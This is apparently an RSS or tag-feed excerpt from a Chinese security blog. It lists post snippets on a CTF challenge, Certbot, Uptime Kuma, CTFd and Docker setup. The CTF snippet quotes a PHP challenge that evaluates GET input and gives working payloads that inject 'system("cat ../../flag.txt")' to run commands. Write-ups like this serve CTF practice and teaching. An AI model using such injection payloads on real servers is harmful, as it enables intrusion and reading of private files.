https://baozongwi.xyz/tags/nginx/Currently exploring Java security and internal network penetration, with CTFs as a hobby.Hugozh-cnhttps://baozongwi.xyz/p/ctfshow-internal-competition/Thu, 15 May 2025 18:35:16 +0000https://baozongwi.xyz/p/ctfshow-internal-competition/签退 先做个签退热热身 <?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__); 多出来一个$，直接结束语句之后getshell即可 ?S=a;phpinfo(); ?S=a;system("cat ../../flag.txt"); 登陆就有flag …https://baozongwi.xyz/p/certbot-https-configuration/Wed, 16 Apr 2025 21:57:48 +0000https://baozongwi.xyz/p/certbot-https-configuration/让你不用担心httpshttps://baozongwi.xyz/p/uptime-kuma-deployment-usage/Thu, 20 Mar 2025 21:50:56 +0000https://baozongwi.xyz/p/uptime-kuma-deployment-usage/监控自己的服务https://baozongwi.xyz/p/ctfd-setup/Mon, 17 Mar 2025 15:47:27 +0000https://baozongwi.xyz/p/ctfd-setup/你问我为什么又要搭建CTFd了，因为我打了两个月的国际赛了发现外面还是用的CTFd，当然你如果要使用动态靶机的话，要使用赵总的插件，那样子CTFd根本承受不住，所以如果使用的是静态靶机，比如校赛的话，就用CTFd比较简单方便 docker安装&&换源 之前的文章，基础使用docker CTFd搭建&&汉化 先创建目录并 …https://baozongwi.xyz/p/docker-learning-and-basic-web-deployment/Thu, 15 Aug 2024 21:23:03 +0000https://baozongwi.xyz/p/docker-learning-and-basic-web-deployment/0x01 前言 docker必须要会啊，虽然折磨了我好久好久 这里使用的是抽奖得到的DK盾Ubuntu22 0x02 action 安装 sudo apt update sudo apt install apt-transport-https curl curl -fsSL …